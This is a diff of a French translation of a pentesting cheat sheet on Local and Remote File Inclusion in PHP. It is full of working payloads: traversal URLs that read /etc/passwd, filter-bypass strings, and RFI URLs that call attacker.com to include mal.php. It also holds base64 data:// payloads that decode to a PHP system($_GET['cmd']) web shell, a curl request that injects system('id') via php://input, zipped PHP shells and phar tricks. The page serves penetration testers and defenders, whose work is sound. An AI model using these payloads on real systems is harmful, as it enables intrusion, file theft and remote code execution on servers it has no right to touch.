Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
||||
Bypass l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -71,7 +71,7 @@ Ceci est **résolu depuis PHP 5.4**
|
||||
|
||||
### **Encodage**
|
||||
|
||||
Vous pouvez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
|
||||
Vous pouvez utiliser des encodages non standard comme le double encodage URL (et d'autres) :
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Explorer les répertoires du système de fichiers sur un serveur
|
||||
|
||||
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
|
||||
Le système de fichiers d'un serveur peut être exploré récursivement pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
|
||||
|
||||
1. **Déterminer la profondeur du répertoire :** Établissez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
|
||||
1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Explorer les dossiers :** Ajoutez le nom du dossier suspect (par exemple, `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
|
||||
2. **Sonder les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
|
||||
- **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
|
||||
- **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
|
||||
4. **Exploration récursive :** Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichiers Locaux (LFI).
|
||||
4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles de Local File Inclusion (LFI).
|
||||
|
||||
Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :
|
||||
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Technique de Troncature de Chemin**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
|
||||
Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichier. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
|
||||
|
||||
En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
|
||||
In PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, et `/etc/passwd/` sont tous traités comme le même chemin.
|
||||
- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (le rendant `passwd/`) ne change pas le fichier ciblé.
|
||||
- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter un `/.` à la fin ne modifiera pas le fichier accédé.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sont tous traités comme le même chemin.
|
||||
- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (rendant `passwd/`) ne change pas le fichier ciblé.
|
||||
- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier accédé.
|
||||
|
||||
Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :
|
||||
Les exemples fournis démontrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Dans ces scénarios, le nombre de traversées nécessaires pourrait être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
|
||||
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
|
||||
|
||||
- **Utilisation de segments de points et de caractères supplémentaires** : Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
|
||||
- **Détermination du nombre requis de traversées** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer jusqu'au répertoire racine puis à `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact.
|
||||
- **Commencer par un répertoire fictif** : Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.
|
||||
- **Utilisation de Dot Segments et de caractères supplémentaires** : Traversal sequences (`../`) combinées à des dot segments et des caractères supplémentaires peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant effectivement les chaînes ajoutées par le serveur.
|
||||
- **Déterminer le nombre requis de traversals** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour remonter jusqu'à la racine puis vers `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact.
|
||||
- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire non existant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.
|
||||
|
||||
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
|
||||
Lors de l'utilisation des techniques de path truncation, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
|
||||
|
||||
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
|
||||
|
||||
### **Astuces de contournement de filtre**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,27 +143,27 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusion de Fichiers à Distance
|
||||
## Remote File Inclusion
|
||||
|
||||
En php, cela est désactivé par défaut car **`allow_url_include`** est **Désactivé.** Il doit être **Activé** pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir un RCE :
|
||||
Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que ça fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
|
||||
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP en b64 et obtenir une RCE :
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
|
||||
|
||||
Un autre exemple **ne utilisant pas le protocole `php://`** serait :
|
||||
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par ceci et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
|
||||
>
|
||||
> Un autre exemple **n'utilisant pas le protocole `php://`** serait :
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Élément racine Python
|
||||
## Élément racine en Python
|
||||
|
||||
Dans python, dans un code comme celui-ci :
|
||||
En Python, dans un code comme celui-ci :
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
```
|
||||
C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont supprimés et l'assemblage continue à partir du composant de chemin absolu.
|
||||
|
||||
## Java Lister les Répertoires
|
||||
## Java Liste des répertoires
|
||||
|
||||
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est retourné**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
|
||||
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela n'arrive pas dans d'autres langages (afaik).
|
||||
|
||||
## Top 25 paramètres
|
||||
|
||||
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (provenant de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Voici la liste des 25 paramètres les plus courants qui pourraient être vulnérables à local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Voici une liste des 25 principaux paramètres qui pourraient être vulnérables
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI utilisant des wrappers & protocoles PHP
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
|
||||
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant leur lecture ou écriture. Il existe 5 catégories de filtres:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php) :
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
|
||||
- `string.strip_tags`: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
|
||||
- Notez que ce filtre a disparu des versions modernes de PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transforme en un autre encodage (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
|
||||
- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** supportés, lancez dans la console : `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate` : Compresse le contenu (utile si vous exfiltrez beaucoup d'infos)
|
||||
- `zlib.inflate` : Décompresse les données
|
||||
- `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
|
||||
- `zlib.inflate`: Décompresse les données
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsolète
|
||||
- `mdecrypt.*` : Obsolète
|
||||
- Autres Filtres
|
||||
- En exécutant `var_dump(stream_get_filters());` dans PHP, vous pouvez trouver quelques **filtres inattendus** :
|
||||
- Other Filters
|
||||
- En exécutant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus**:
|
||||
- `consumed`
|
||||
- `dechunk` : inverse l'encodage HTTP en morceaux
|
||||
- `dechunk`: inverse l'encodage HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> La partie "php://filter" est insensible à la casse
|
||||
> La partie "php://filter" n'est pas sensible à la casse
|
||||
|
||||
### Utilisation des filtres php comme oracle pour lire des fichiers arbitraires
|
||||
### Utiliser php filters comme oracle pour lire des fichiers arbitraires
|
||||
|
||||
[**Dans cet article**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie ne soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) utilisant php filters comme oracle. Cela vient du fait que les php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php.
|
||||
|
||||
Dans l'article original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :
|
||||
Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
|
||||
|
||||
- Utilisez le codec **`UCS-4LE`** pour laisser le caractère de tête du texte au début et faire augmenter la taille de la chaîne de manière exponentielle.
|
||||
- Cela sera utilisé pour générer un **texte si grand lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**.
|
||||
- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
|
||||
- Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera que php génère une erreur.
|
||||
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
|
||||
- En utilisant d'autres transformations comme **rot13** au début, il est possible de fuir d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
|
||||
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de fuir les 2 premières lettres pour fuir le nombre.
|
||||
- Le problème final est de voir **comment fuir plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
|
||||
- Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à fuir.
|
||||
- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte en tête et faire croître la taille de la chaîne de façon exponentielle.
|
||||
- Ceci sera utilisé pour générer un **texte tellement volumineux lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**.
|
||||
- Le filtre **dechunk** **supprimera tout si le premier char n'est pas hexadécimal**, donc on peut savoir si le premier char est hex.
|
||||
- Ceci, combiné avec le précédent (et d'autres filters suivant la lettre devinée), permettra de deviner une lettre au début du texte en observant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera l'erreur php.
|
||||
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce qu'en appliquant 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée à cause de la multiplication avec la bombe initiale.
|
||||
- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
|
||||
- Quand le char initial est un chiffre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le chiffre.
|
||||
- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters de réorganisation d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte.
|
||||
- Et afin de pouvoir obtenir **données supplémentaires**, l'idée est de **générer 2 octets de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **basculer avec les 2 octets suivants**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
|
||||
|
||||
Dans l'article, un outil pour effectuer cela automatiquement a également été divulgué : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Dans le post un outil pour automatiser cela a également été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
|
||||
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu de fichiers ouverts:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **descripteurs de fichiers 0, 1 et 2** respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque)
|
||||
Vous pouvez aussi utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **file descriptors 0, 1 et 2** respectivement (je ne suis pas sûr de la manière dont cela pourrait être utile dans une attaque)
|
||||
|
||||
### zip:// et rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Téléchargez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\
|
||||
Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
|
||||
Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.\
|
||||
Pour pouvoir abuser du protocole rar, il doit **être activé spécifiquement**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Spécifiez votre charge utile dans les paramètres POST :
|
||||
Spécifiez votre payload dans les paramètres POST :
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier `.phar` :
|
||||
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier `.phar` :
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,90 +358,91 @@ Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Lors de l'exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités d'Inclusion de Fichiers Locaux (LFI).
|
||||
Lors de l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité dans le cadre de Local File Inclusion (LFI).
|
||||
|
||||
Dans les cas où le LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, une exploitation d'une vulnérabilité de désérialisation pourrait être tentée. Cette vulnérabilité est associée à la lecture de fichiers utilisant le protocole `phar`.
|
||||
Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation liée à la lecture de fichiers en utilisant le protocole `phar`.
|
||||
|
||||
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, référez-vous au document lié ci-dessous :
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Il était possible d'abuser de **tout fichier arbitraire lu depuis PHP qui prend en charge les filtres PHP** pour obtenir un RCE. La description détaillée peut être [**trouvée dans ce post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Résumé très rapide : un **dépassement de 3 octets** dans le tas PHP a été abusé pour **modifier la chaîne de morceaux libres** d'une taille spécifique afin de pouvoir **écrire n'importe où à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\
|
||||
Il était possible d'allouer des morceaux de tailles spécifiques en abusant de plus de filtres PHP.
|
||||
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir une RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Très rapide résumé : un **overflow de 3 octets** dans le heap PHP a été abusé pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\
|
||||
Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.
|
||||
|
||||
### Plus de protocoles
|
||||
### Autres protocoles
|
||||
|
||||
Vérifiez d'autres [**protocoles possibles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Consultez d'autres [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichiers)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accéder au système de fichiers local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accéder aux URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accéder aux URL FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des noms de chemin correspondant à un motif (Cela ne retourne rien de imprimable, donc pas vraiment utile ici)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité dans une attaque d'inclusion de fichier)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au filesystem local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (ça ne retourne rien d'imprimable, donc pas vraiment utile ici)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Pas utile pour lire des fichiers arbitraires)
|
||||
|
||||
## LFI via 'assert' de PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
